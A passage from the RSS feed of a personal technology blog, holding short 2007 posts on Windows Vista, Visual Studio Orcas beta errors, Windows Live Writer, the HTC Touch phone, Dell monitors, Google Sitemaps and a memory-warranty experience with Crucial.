		WPF Application Portfolio
	&lt;/span&gt;
&lt;/a&gt; - some are cool and some are surprisingly useful. Many of these can be deployed with ClickOnce making it convenient. If you are not on Vista you will need the &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=10CC340B-F857-4A14-83F5-25634C3BF043&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		.NET 3.0
	&lt;/span&gt;
&lt;/a&gt; bits.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4022&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MVP Threatened</title>
      <link>/post/2007/06/mvp-threatened/</link>
      <pubDate>Wed, 06 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/mvp-threatened/</guid>
      <description>&lt;p&gt;This surely can not do any good? Jamie who created &lt;a
	
		href = &#34;http://www.testdriven.net/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TestDriven.NET
	&lt;/span&gt;
&lt;/a&gt; is &lt;a
	
		href = &#34;http://www.theregister.co.uk/2007/06/05/microsoft_mvp_threats/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		involved in a legal dispute
	&lt;/span&gt;
&lt;/a&gt; with Microsoft. This is not he Microsoft I know and work with on almost a daily basis! Hopefully common sense will kick in.&lt;/p&gt;
&lt;p&gt;On a separate note, Steve Jobs vs Bill Gates - who is the saint and who is cut-throat villain of Geekdom? &lt;a
	
		href = &#34;http://www.wired.com/commentary/cultofmac&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cult of Mac
	&lt;/span&gt;
&lt;/a&gt; at &lt;a
	
		href = &#34;http://www.wired.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Wired
	&lt;/span&gt;
&lt;/a&gt; has an &lt;a
	
		href = &#34;http://www.wired.com/gadgets/mac/commentary/cultofmac/2006/01/70072&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		interesting read
	&lt;/span&gt;
&lt;/a&gt; on the subject.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4016&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HTC Touch</title>
      <link>/post/2007/06/htc-touch/</link>
      <pubDate>Tue, 05 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/htc-touch/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/HTC_Touch_133x133.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;a
	
		href = &#34;http://www.htc.com/index.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HTC
	&lt;/span&gt;
&lt;/a&gt; just released a new phone here in the UK called &lt;a
	
		href = &#34;http://www.htctouch.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HTC Touch
	&lt;/span&gt;
&lt;/a&gt;. Not only is this very cool but is something you can touch, feel (and buy) today in the UK unlike the &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/01/17/iphone-features.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		over-hyped iPhone
	&lt;/span&gt;
&lt;/a&gt;. 😛&lt;/p&gt;
&lt;p&gt;There are of course &lt;a
	
		href = &#34;http://www.htc.com/press_room/03-press-3.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more pictures
	&lt;/span&gt;
&lt;/a&gt;, not to mention &lt;a
	
		href = &#34;http://www.htc.com/product/03-product_htctouch.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the specs
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://www.theunwired.net/?itemid=3899&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		videos
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Wacky Mouse Showdown</title>
      <link>/post/2007/06/wacky-mouse-showdown/</link>
      <pubDate>Mon, 04 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/wacky-mouse-showdown/</guid>
      <description>&lt;p&gt;If you wanna kill some time and get amused at the same time, check out &lt;a
	
		href = &#34;http://www.extremetech.com/slideshow/0,1206,pg=0&amp;amp;s=25928&amp;amp;a=208798,00.asp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ExtremeTech&amp;rsquo;s Wacky Mouse Showdown
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4002&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Windows Live Writer Beta 2 - finally!</title>
      <link>/post/2007/06/windows-live-writer-beta-2-finally/</link>
      <pubDate>Sun, 03 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/windows-live-writer-beta-2-finally/</guid>
      <description>&lt;p&gt;Windows Live Writer, after &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2006/08/18/Live-Writer-Feedback.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		a lot of talk
	&lt;/span&gt;
&lt;/a&gt;, finally has an update in the shape of Beta 2 and in addition to the obvious ones (such as support of Sharepoint 2007 and Windows Live Spaces) there are more features. Some of the &lt;a
	
		href = &#34;http://windowslivewriter.spaces.live.com/blog/cns!D85741BB5E0BE8AA!1272.entry&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		new features
	&lt;/span&gt;
&lt;/a&gt; are table editing, better category support, &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/library/bb463266.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		new API&amp;rsquo;s
	&lt;/span&gt;
&lt;/a&gt; (which I cannot attribute having never programmed against the API), etc. However, the &lt;a
	
		href = &#34;http://gallery.live.com/results.aspx?c=0&amp;amp;bt=9&amp;amp;pl=8&amp;amp;st=5&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		plugin section
	&lt;/span&gt;
&lt;/a&gt; does seem to finally be integrated better since I last saw it which was a while ago.&lt;/p&gt;
&lt;p&gt;Interestingly, the new spell checker seems to not like &amp;ldquo;Sharepoint&amp;rdquo; (see screen shot below) unlike Word which can recognize the spelling mistake.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/WindowsLiveWriterUpdatefinally_138FC/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3990&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Life without an MCE</title>
      <link>/post/2007/06/life-without-an-mce/</link>
      <pubDate>Fri, 01 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/life-without-an-mce/</guid>
      <description>&lt;p&gt;I must say after getting used to viewing TV (and Movies) via a MCE - not having one is sorely missed. Recently the machine was randomly hanging and a few blue-screens and as it turns out one of my &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2005/06/26/1579.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		memory sticks
	&lt;/span&gt;
&lt;/a&gt; went bad which was causing the issues.&lt;/p&gt;
&lt;p&gt;Although I had bought the memory from &lt;a
	
		href = &#34;http://www.crucial.com/uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Crucial
	&lt;/span&gt;
&lt;/a&gt;, over two years ago - they have a lifetime warranty. I called them and they immediately volunteered to change both the sticks (as I was running them in dual-channel). I was running the machine fine on one stick albeit a little slow, but I decided to send in both sticks and get things back to &amp;ldquo;normal&amp;rdquo;. Now I have been waiting for just over a week to get back the replacement memory. Which means for just over a week and we don&amp;rsquo;t have a MCE running at home and boy I was surprised that we miss it! &lt;p&gt;

    &lt;img src=&#34;images/emotion-3.gif&#34; alt=&#34;Surprise&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Watching &amp;ldquo;Live TV&amp;rdquo; is just not done now - not to mention the fact the guide in Sky is quite irritating with the stupid music and the full-screen mode - where the whole screen switches back to the guide hiding whatever you were watching.&lt;/p&gt;
&lt;p&gt;On a little different note, I was quite amazed with the service and professionalism of &lt;a
	
		href = &#34;http://www.crucial.com/uk/index.asp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Crucial
	&lt;/span&gt;
&lt;/a&gt; while dealing with them on the phone. Yes it has taken a little longer than I was told (although to be fair they said turn around is &amp;ldquo;quick&amp;rdquo; and I was not given any specific time - but at the same time I did not ask for a timeline). I just got off the phone with them and I have been told the memory should be shipping out today with express delivery! I just wish there were more companies who did such an excellent job of customer service! &lt;p&gt;

    &lt;img src=&#34;images/emotion-21.gif&#34; alt=&#34;Yes&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3977&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Upgraded to CS 2007 SP1</title>
      <link>/post/2007/06/upgraded-to-cs-2007-sp1/</link>
      <pubDate>Fri, 01 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/upgraded-to-cs-2007-sp1/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://communityserver.org/blogs/announcements/archive/2007/05/11/cs2007-sp1.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SP1 for CS 2007 has been available
	&lt;/span&gt;
&lt;/a&gt; for about 3 weeks, and I finally got around to upgrading to that. Everything seems to be working fine, but if you find something amiss please &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/contact.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		drop me a note
	&lt;/span&gt;
&lt;/a&gt; and let me know.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3974&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google Sitemap Index</title>
      <link>/post/2007/05/google-sitemap-index/</link>
      <pubDate>Thu, 24 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/google-sitemap-index/</guid>
      <description>&lt;p&gt;I have seen this question being asked a number of times in the forums and thought I&amp;rsquo;d post about it.&lt;/p&gt;
&lt;p&gt;What is a Google Sitemap, who better to answer but Google:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A Sitemap provides an additional view into your site (just as your home page and HTML site map do). This program does not replace our normal methods of crawling the web. Google still searches and indexes your sites the same way it has done in the past whether or not you use this program. Sites are never penalized for using this service. We cannot make any predictions or guarantees about when or if your URLs will be crawled or added to our index. Over time, we expect both coverage and time-to-index to improve as we refine our processes and better understand webmasters&amp;rsquo; needs.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;In CS 2007, Google site map indexing is built-in and you don&amp;rsquo;t need a module. You can find this at [your-blog-url]/&lt;strong&gt;GoogleSiteMapIndex.ashx&lt;/strong&gt;. E.g. for this blog the Site map index &lt;a
	
		href = &#34;http://desigeek.com/weblog/GoogleSiteMapIndex.ashx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		can be found here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You of course need to &lt;a
	
		href = &#34;http://www.google.com/support/webmasters/bin/answer.py?answer=40318&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		submit a Sitemap file to Google
	&lt;/span&gt;
&lt;/a&gt; and have it validate your domain.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3920&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Got time to kill?</title>
      <link>/post/2007/05/got-time-to-kill/</link>
      <pubDate>Wed, 23 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/got-time-to-kill/</guid>
      <description>&lt;p&gt;Then check out &lt;a
	
		href = &#34;http://www.ipspotting.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		IP Spotting
	&lt;/span&gt;
&lt;/a&gt;, I am not so sure what the intent of this site is, but nevertheless it is sure geeky (and cool) &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;. Here are the results when I am connected via &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/05/15/hsdpa-i-e-3-5g-speed-results.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HSDPA
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Score: your IP address has scored: 8. Of the 291663 IP&amp;rsquo;s spotted so far, this is ranked: 178179.&lt;/p&gt;
&lt;p&gt;IP as a bitmap (which does not look much like anything)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;
        &lt;figcaption&gt;.&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;br&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;br&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;br&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;
        &lt;figcaption&gt;.&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;
        &lt;figcaption&gt;.&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;br&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;
        &lt;figcaption&gt;.&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;
        &lt;figcaption&gt;X&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;br&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-black.gif&#34; alt=&#34;X&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1x1-white.gif&#34; alt=&#34;.&#34;/&gt;
        &lt;figcaption&gt;.&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3913&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hold off on that Dell...</title>
      <link>/post/2007/05/hold-off-on-that-dell/</link>
      <pubDate>Tue, 22 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/hold-off-on-that-dell/</guid>
      <description>&lt;p&gt;If you were in the market for a new laptop especially a Tablet then &lt;a
	
		href = &#34;http://direct2dell.com/one2one/archive/2007/05/18/15193.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dell is coming
	&lt;/span&gt;
&lt;/a&gt;! Not only that - they have some &lt;a
	
		href = &#34;http://www.engadget.com/2007/05/18/dells-ultra-thin-concept-lcd-with-displayport-going-retail/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		awesome ultra-thin Monitors
	&lt;/span&gt;
&lt;/a&gt; which are only 0.5 inch thick and will &lt;a
	
		href = &#34;http://www.gearlog.com/2007/05/dell_shows_off_superslim_displ.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		support HD resolutions
	&lt;/span&gt;
&lt;/a&gt; and allow you to &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Daisychain#Electrical_and_electronic_engineering&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		daisychain
	&lt;/span&gt;
&lt;/a&gt; multiple monitors. These were originally showcased the &lt;a
	
		href = &#34;http://www.engadget.com/2007/01/12/dell-finally-uses-its-designers-sheds-ugly-duckling-facade/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		concept
	&lt;/span&gt;
&lt;/a&gt; at the CES earlier in January. Better start saving up! &lt;p&gt;

    &lt;img src=&#34;images/emotion-11.gif&#34; alt=&#34;Cool&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3908&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Rolled back to Vista x32</title>
      <link>/post/2007/05/rolled-back-to-vista-x32/</link>
      <pubDate>Sat, 19 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/rolled-back-to-vista-x32/</guid>
      <description>&lt;p&gt;After running Vista x64 (since RTM back in November) on my laptop I have finally rolled back to Vista x32. I did not have any driver issues for the most part it was more of incompatibility of some x64 bit app&amp;rsquo;s.&lt;/p&gt;
&lt;p&gt;Does remind me of this:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://blaugh.com/2007/05/02/using-wndows-vista-is-torture&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/070502_vista_is_torture.gif&#34; alt=&#34;Using Wndows Vista is Torture&#34;/&gt;
        &lt;figcaption&gt;Using Wndows Vista is Torture&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3891&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vista SP1 detected in the Wild</title>
      <link>/post/2007/05/vista-sp1-detected-in-the-wild/</link>
      <pubDate>Sat, 19 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/vista-sp1-detected-in-the-wild/</guid>
      <description>&lt;p&gt;More &lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=447&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		details here
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://www.winfuture.de/news,31801.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		screen shots here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3894&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>VS Orcas Issues</title>
      <link>/post/2007/05/vs-orcas-issues/</link>
      <pubDate>Sat, 19 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/vs-orcas-issues/</guid>
      <description>&lt;p&gt;After a &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/05/17/orcas-beta-1-installation-fails.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		few initial hiccups
	&lt;/span&gt;
&lt;/a&gt;, I got Orcas installed and up and running but trying to do something simple with it has been challenging. For example if you create a new simple WinForm (I only tried this with c#) and open the default Form in the solution you get the following error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The service Microsoft.VisualStudio.Shell.Interop.ISelectionContainer already exists in the service container.&lt;/p&gt;
&lt;p&gt;Parameter name: serviceType&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Here is a screen shot of the same error:&lt;br&gt;
&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/VSOrcasIssues_BE41/image01.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image0.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As it turns out, there are a &lt;a
	
		href = &#34;http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=276466&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		few others
	&lt;/span&gt;
&lt;/a&gt; who are also having &lt;a
	
		href = &#34;http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1504013&amp;amp;SiteID=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the same problem
	&lt;/span&gt;
&lt;/a&gt; and there does not seem to be a solution at hand. Yes this is Beta 1 and things won&amp;rsquo;t work, but I did not expect such simple things to break! It reminds me all the horror stories we had trying to get stuff integrated into TFS and also WCF early bits. &lt;p&gt;

    &lt;img src=&#34;images/emotion-6.gif&#34; alt=&#34;Sad&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I am running this on Vista x32 with UAC switched off.&lt;/p&gt;
&lt;p&gt;Anyway, this is a deal breaker for me on my primary machine and as a result am in the process of rolling back to VS.NET 2005.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3892&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
